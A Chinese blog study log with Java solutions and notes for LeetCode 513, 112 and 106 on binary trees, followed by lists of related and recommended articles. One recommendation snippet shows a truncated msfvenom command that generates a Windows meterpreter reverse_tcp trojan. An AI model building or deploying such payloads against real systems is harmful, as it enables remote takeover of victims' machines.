LeetCode 513.找树左下角的值

分析1.0

二叉树的 最底层 最左边 节点的值,层序遍历获取最后一层首个节点值,记录每一层的首个节点,当没有下一层时,返回这个节点

class Solution {
ArrayDeque<TreeNode> queue = new ArrayDeque();
int res = 0;
public int findBottomLeftValue(TreeNode root) {
queue.offer(root);
return levelOrder(root);
} public int levelOrder(TreeNode p){
while(!queue.isEmpty()){
int size = queue.size();
int cnt = 0;
res = queue.peek().val;
// System.out.println("每层第一个节点"+res);
while(cnt++ < size){
p = queue.poll();
if(p.left != null){
queue.offer(p.left);
}
if(p.right != null){
queue.offer(p.right);
}
}
}
return res;
}
}

LeetCode 112. 路径总和

分析1.0

先序遍历递归,记录走过节点和,若==targetSum return; 否则删除节点值

递归

class Solution {
int sum = 0;
ArrayList<Integer> list = new ArrayList();
public boolean hasPathSum(TreeNode root, int targetSum) {
if(root == null){
return false;
}
preOrder(root);
return list.contains(targetSum);
}
public void preOrder(TreeNode p){
sum += p.val;
if(p.left == null && p.right == null){
//System.out.println("sum--------"+sum);
list.add(sum);
return;
}
if(p.left!=null){
preOrder(p.left);
sum -= p.left.val;
}
if(p.right!=null){
preOrder(p.right);
sum -= p.right.val;
}
}
}

论递归有返回值时,某路径和为targetSum时,各级递归该如何返回

if (cur->left) { // 左
count -= cur->left->val; // 递归,处理节点;
if (traversal(cur->left, count)) return true;
count += cur->left->val; // 回溯,撤销处理结果
}
if (cur->right) { // 右
count -= cur->right->val; // 递归,处理节点;
if (traversal(cur->right, count)) return true;
count += cur->right->val; // 回溯,撤销处理结果
}
return false;

LeetCode 106.从中序与后序遍历序列构造二叉树

分析1.0

重要理论知识

切割后的左右子树,在前后序两个数组中元素大小是一致的

重要条件:

  • inorder 和 postorder 都由 不同 的值组成

后序遍历 左右根 所以每棵树的后序数组的最后一个节点为树根

  1. 从后序数组找到这棵树的树根,用其分割中序数组,使原中序数组变为新的两个中序数组-即两棵子树
  2. 子树的大小是一致的,即可利用此特点在后序数组中找到两棵树分别对应的后序遍历序列 第一个是左子树 第二个是右子树 顺序不要弄反
  3. 再从后序序列获取新的根节点...
  4. ......
  5. 直到后序数组只剩一个节点,处理完这个节点就返回

  getInIndex(); return 两棵子树在中序数组中的索引

  getPostIndex(); return 左右子树的新的根节点索引 左边一堆为左子树 右边一堆为右子树

失误

没课树都有post in order,当postOrder只剩一个节点时,意味着这棵树只有一个根节点了,让它做父节点合适的儿子

递归前要进行一次判断,这个节点能否满足递归条件

分析2.0

class Solution {
//int testCount = 1;
public TreeNode buildTree(int[] inorder, int[] postorder) { return getRootIndex(inorder, postorder, 0, inorder.length - 1, 0, postorder.length-1);
} public TreeNode getRootIndex(int[] inorder, int[] postorder, int inLeftIndex, int inRightIndex,int postLeftIndex,int postRightIndex){
//System.out.println(testCount++ +"次访问");
// 只剩一个后序节点了
if(postRightIndex==postLeftIndex){
return new TreeNode(postorder[postRightIndex]);
}
// 后序根节点在中序中的索引
int mid = getIndex(inorder, postorder[postRightIndex]);
// 左子树中序新索引范围
int leftTreeLeftIndex = inLeftIndex;
int leftTreeRightIndex = mid-1;
// 右子树中序新索引范围
int rightTreeLeftIndex = mid+1;
int rightTreeRightIndex = inRightIndex;
/* 找左右子树的后序索引范围
左子树-右子树-根节点
左子树 leftTreeRightIndex - leftTreeLeftIndex + 1
右子树 rightTReeRightIndex - rightTreeLeftIndex + 1
*/
//int leftTreeSize = leftTreeRightIndex - leftTreeLeftIndex + 1;
int rightTreeSize = rightTreeRightIndex - rightTreeLeftIndex + 1;
int leftTreePostOrderLeftIndex = postLeftIndex;
int leftTreePostOrderRightIndex = postRightIndex - rightTreeSize - 1;
int rightTreePostOrderLeftIndex = postRightIndex - rightTreeSize;
int rightTreePostOrderRightIndex = postRightIndex - 1;
TreeNode root = new TreeNode(postorder[postRightIndex]);
if(leftTreePostOrderRightIndex>=leftTreePostOrderLeftIndex){
root.left = getRootIndex(inorder, postorder,leftTreeLeftIndex, leftTreeRightIndex,leftTreePostOrderLeftIndex,leftTreePostOrderRightIndex);
}
if(rightTreePostOrderRightIndex>=rightTreePostOrderLeftIndex){
root.right = getRootIndex(inorder, postorder,rightTreeLeftIndex, rightTreeRightIndex,rightTreePostOrderLeftIndex,rightTreePostOrderRightIndex);
}
return root;
} // 在指定数组中找指定元素的索引
public int getIndex(int[] arr, int target){
for(int i = 0; i < arr.length; i++){
if(arr[i] == target){
return i;
}
}
return -1;
}
}

总结

  1. 递归函数什么时候需要返回值?什么时候不需要返回值?视递归是否需要处理返回值分析

  2. 和单纯的深度遍历不一样,在处理树回溯问题时要先判断当前节点是否为空,非null才能进入递归

  3. 如果知道了目标和,可以目标和-节点值,判断最后结果是否为0 (而不是累加节点值判断和是否为目标和)
  4. 回溯结束就可以处理返回值了!!!
  5. 递归进入条件、递归结束条件
  6. 树的先序后序遍历序列对应的节点数是一致的 非常关键的解题信息

常用变量名增量更新

size、val、ans、cnt、cur、pre、next、left、right、index、gap、tar、res、src、len、start、end、flag、ch、var

代码随想录算法训练营day18 | leetcode 513.找树左下角的值 ● 112. 路径总和 113.路径总和ii ● 106.从中序与后序遍历序列构造二叉树的更多相关文章

  1. LeetCode 513. 找树左下角的值(Find Bottom Left Tree Value)

    513. 找树左下角的值 513. Find Bottom Left Tree Value 题目描述 给定一个二叉树,在树的最后一行找到最左边的值. LeetCode513. Find Bottom ...

  2. Java实现 LeetCode 513 找树左下角的值

    513. 找树左下角的值 给定一个二叉树,在树的最后一行找到最左边的值. 示例 1: 输入: 2 / \ 1 3 输出: 1 示例 2: 输入: 1 / \ 2 3 / / \ 4 5 6 / 7 输 ...

  3. Leetcode之深度优先搜索(DFS)专题-513. 找树左下角的值(Find Bottom Left Tree Value)

    Leetcode之深度优先搜索(DFS)专题-513. 找树左下角的值(Find Bottom Left Tree Value) 深度优先搜索的解题详细介绍,点击 给定一个二叉树,在树的最后一行找到最 ...

  4. 领扣(LeetCode)找树左下角的值 个人题解

    给定一个二叉树,在树的最后一行找到最左边的值. 示例 1: 输入: 2 / \ 1 3 输出: 1 示例 2: 输入: 1 / \ 2 3 / / \ 4 5 6 / 7 输出: 7 注意: 您可以假 ...

  5. Leetcode:105. 从前序与中序遍历序列构造二叉树&106. 从中序与后序遍历序列构造二叉树

    Leetcode:105. 从前序与中序遍历序列构造二叉树&106. 从中序与后序遍历序列构造二叉树 Leetcode:105. 从前序与中序遍历序列构造二叉树&106. 从中序与后序 ...

  6. [LeetCode]105. 从前序与中序遍历序列构造二叉树(递归)、108. 将有序数组转换为二叉搜索树(递归、二分)

    题目 05. 从前序与中序遍历序列构造二叉树 根据一棵树的前序遍历与中序遍历构造二叉树. 注意: 你可以假设树中没有重复的元素. 题解 使用HashMap记录当前子树根节点在中序遍历中的位置,方便每次 ...

  7. 【LeetCode】105. Construct Binary Tree from Preorder and Inorder Traversal 从前序与中序遍历序列构造二叉树(Python)

    作者: 负雪明烛 id: fuxuemingzhu 个人博客: http://fuxuemingzhu.cn/ 目录 题目描述 题目大意 解题方法 递归 日期 题目地址:https://leetcod ...

  8. LeetCode(106):从中序与后序遍历序列构造二叉树

    Medium! 题目描述: 根据一棵树的中序遍历与后序遍历构造二叉树. 注意:你可以假设树中没有重复的元素. 例如,给出 中序遍历 inorder = [9,3,15,20,7] 后序遍历 posto ...

  9. [LeetCode系列] 从中序遍历和后序遍历序列构造二叉树(迭代解法)

    给定中序遍历inorder和后序遍历postorder, 请构造出二叉树. 算法思路: 设后序遍历为po, 中序遍历为io. 首先取出po的最后一个节点作为根节点, 同时将这个节点入stn栈; 随后比 ...

  10. Leetcode 106. 从中序与后序遍历序列构造二叉树

    题目链接 https://leetcode.com/problems/construct-binary-tree-from-inorder-and-postorder-traversal/descri ...

随机推荐

  1. day41 6-1 安装配置maven & 6-2 创建maven项目 & 6-3 搭建springMVC框架 & 6-4 springMVC常用注解和封装工作单元

    day41 调度器 定义 web.xml配置 控制器Controller 配置自动扫描控制器 在spring-mv.xml中加入 <!-- 启用spring mvc 的注解 --> < ...

  2. mq中如何保证消息的顺序性

    先说结论 不建议在mq当中使用消息的投递顺序来保证消息的顺序一致性 反思为什么需要保留消息的顺序性 日常思维中,顺序大部分情况会和时间关联起来,即时间的先后表示事件的顺序关系.消息队列中的若干消息如果 ...

  3. webpack :There are multiple modules with names that only differ in casing

    1, webpack版本3.6.0 2. 报warning文件为 node_modules 下面webpack 里的hot.js和dev-server.js 3. 没有出现模块名混用大小写 解决方法: ...

  4. Javascript | 模拟mvc实现点餐程序

    MVC模式是一个比较成熟的开发模式.M是指业务模型,V是指用户界面,C则是控制器,使用MVC的目的是将M和V的实现代码分离,从而使同一个程序可以使用不同的表现形式.其中,View的定义比较清晰,就是用 ...

  5. 监听Windows(生成木马)

    sudo su msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=ip地址 LPORT=端口 -f ...

  6. java中的静态属性和静态方法

    本文主要讲述java的静态变量和静态方法 静态变量和静态方法,随着类加载完成,而完成,随着类的消失,而销毁. 静态方法只能调用静态变量/方法:普通方法,既能调用静态变量/方法,也能调用非静态变量/方法 ...

  7. 【机器学习】李宏毅——Anomaly Detection(异常检测)

    异常检测概述 首先要明确一下什么是异常检测任务.对于异常检测任务来说,我们希望能够通过现有的样本来训练一个架构,它能够根据输入与现有样本之间是否足够相似,来告诉我们这个输入是否是异常的,例如下图: 那 ...

  8. 一文掌握MyBatis的动态SQL使用与原理

    摘要:使用动态 SQL 并非一件易事,但借助可用于任何 SQL 映射语句中的强大的动态 SQL 语言,MyBatis 显著地提升了这一特性的易用性. 本文分享自华为云社区<MyBatis详解 - ...

  9. NOIP2022 退役记

    无所谓,我还能卡队线. 无所谓,我还能被卡校线.

  10. SSM框架——整合ssm

    SSM整合 1.准备工作 新建一个普通的Maven项目 建好所有需要的架构层 向pom.xml中导入所有的依赖 <!--MyBatis相关--> <dependency> &l ...